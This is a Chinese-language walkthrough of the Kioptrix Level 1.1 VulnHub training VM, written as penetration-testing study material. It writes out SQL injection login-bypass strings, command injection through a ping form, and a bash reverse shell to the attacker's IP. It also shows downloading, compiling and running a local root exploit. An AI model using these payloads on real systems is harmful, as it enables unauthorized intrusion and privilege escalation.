# KIOPTRIX: LEVEL 1.1 :::spoiler [靶機簡介](https://www.vulnhub.com/entry/kioptrix-level-11-2,23/) :::info **About Release** Name: Kioptrix: Level 1.1 (#2) Date release: 11 Feb 2011 Author: Kioptrix Series: Kioptrix Web page: http://www.kioptrix.com/blog/?page_id=135 **Download** Kioptrix_Level_2-original.rar (Size: 404 MB) Download (Mirror): https://download.vulnhub.com/kioptrix/archive/Kioptrix_Level_2-original.rar Kioptrix_Level_2-update.rar (Size: 406 MB) Download: http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar Download (Mirror): https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar **Description** This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges. Source: http://www.kioptrix.com/blog/?page_id=135 Source: http://www.kioptrix.com/blog/?p=49 This is the second release of #2. First release had a bug in it with the web application 2012/Feb/09: Re-releases 2011/Feb/11: Original Release Checksum Original MD5: 987FFB98117BDEB6CA0AAC6EA22E755D Original SHA1: 7A0EA0F414DFA0E05B7DF504F21B325C6D3CC53B Re-release MD5: 987FFB98117BDEB6CA0AAC6EA22E755D Re-release SHA1: 7A0EA0F414DFA0E05B7DF504F21B325C6D3CC53B **File Information** Filename: Kioptrix_Level_2-original.rar File size: 404 MB MD5: 1CCC14189E530F9231ACF62E6FC8AF2D SHA1: 8E767C68D3884DB13F84A607E5366434E3FA0858 Filename: Kioptrix_Level_2-update.rar File size: 406 MB MD5: 987FFB98117BDEB6CA0AAC6EA22E755D SHA1: 7A0EA0F414DFA0E05B7DF504F21B325C6D3CC53B **Virtual Machine** Format: Virtual Machine (VMware) Operating System: Linux **Networking** DHCP service: Enabled IP address: Automatically assign ::: <br> <br> **前置工作** * 匯入 VMware * 虛擬機配置不同網路-Bridged([網路](https://blog.csdn.net/Attsky/article/details/109320325)、[IP](https://blog.csdn.net/qq1069380146/article/details/111995334))   * [教學影片](https://youtu.be/vWQWikIR4Xw?si=F1F5dTH6T0kh-1ix)  <br> <br> ## 步驟一、找到其服務 首先,先使用`ifconfig`查看自己的IP。`192.168.0.8`。  使用netdiscover查看本地端的IP尋找靶機。 `sudo netdiscover -r 192.168.0.0/24`  使用nmap查看其服務。 `sudo nmap -A -T4 192.168.0.9`  <br> <br> ## 步驟二、尋找進入點 因為有http與https服務,所以網址列`http://192.168.0.9/`。  檢視頁面來源。  嘗試使用 [SQL Injection](https://stackoverflow.com/questions/53688134/what-is-the-meaning-of-admin-or-1-1),在Username輸入: ` ' or 1=1#` 或`admin' or '1'='1'/*`或`admin' #`或`admin' or 1=1-- `。 `admin' --`與`admin' or 1=1--`實作無效,因為`--`後面需要空格。  <br> <br> ## 步驟三、RCE(Remote Code Execution) 進入後會得到一個ping頁面。 127.0.0.1(本地主機)。 透過RCE尋找有用資訊並控制。  `ping 127.0.0.1;pwd`或`ping 127.0.0.1|pwd`。   `ping 127.0.0.1|ls`。  <br> 參考 [Reverse Shell Cheat Sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)。 與自己建立了一個 TCP 反向 shell 連接,將目標系統的 標準輸入、輸出和錯誤都與攻擊者的遠端位置相連接。  先打好`nc -nvlp 8888`送出再網頁輸入。 `ping 127.0.0.1|bash -i >& /dev/tcp/192.168.0.8/8888 0>&1`   ``` whoami uname -a lsb_release -a ```  LSB 的全稱是 "Linux Standard Base"(Linux 標準基準)。LSB 是一個開放標準,定義了 Linux 操作系統的核心元件和應用程式的標準接口,以確保不同 Linux 發行版之間的二進制兼容性。 <br> <br> ## 步驟四、搜索漏洞 ``` searchsploit 2.6.9 searchsploit CentOS 4.5 ``` searchsploit 是 Exploit Database 中的一個工具,用於搜索漏洞利用程式(exploits)和Shellcode的資料庫。Exploit Database 是一個包含各種漏洞利用程式、Shellcode和相關資訊的公共資料庫,旨在協助渗透測試和安全研究。  <br> <br> `searchsploit -m linux_x86/local/9542.c` searchsploit -m linux/local/9542.c 是一個使用 searchsploit 工具的命令。在這個命令中,-m 表示 "mirror"(鏡像),它的作用是將 Exploit Database 中路徑為 linux/local/9542.c 的漏洞利用程式文件複製到當前工作目錄。-m 選項使您能夠在不離開命令行的情況下複製漏洞利用程式文件。  <br> <br> ``` cd /tmp wget http://192.168.0.8/9542.c ```  因為沒有起相關http服務被拒絕,因此`pytho3 -m http.server 80`。  再一次`wget http://192.168.0.8/9542.c`。  ``` ls gcc -o exploit 9542.c ```  如果想解warning,`echo >> 9542.c`這個命令利用了 echo 命令用於輸出文本,以及 >> 重定向操作符用於將輸出附加到文件末尾。當這個命令運行時,它將一個空字符串(即一個換行符號)添加到指定文件的末尾。這是一種快速且常見的方式,特別是當需要手動在文件末尾插入換行符號時。然而,這種方法僅限於向文件末尾添加換行符號,並假設文件 9542.c 已經存在。如果文件不存在,則這個命令將創建一個新文件。 <br> <br> ``` ./exploit whoami id ``` 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up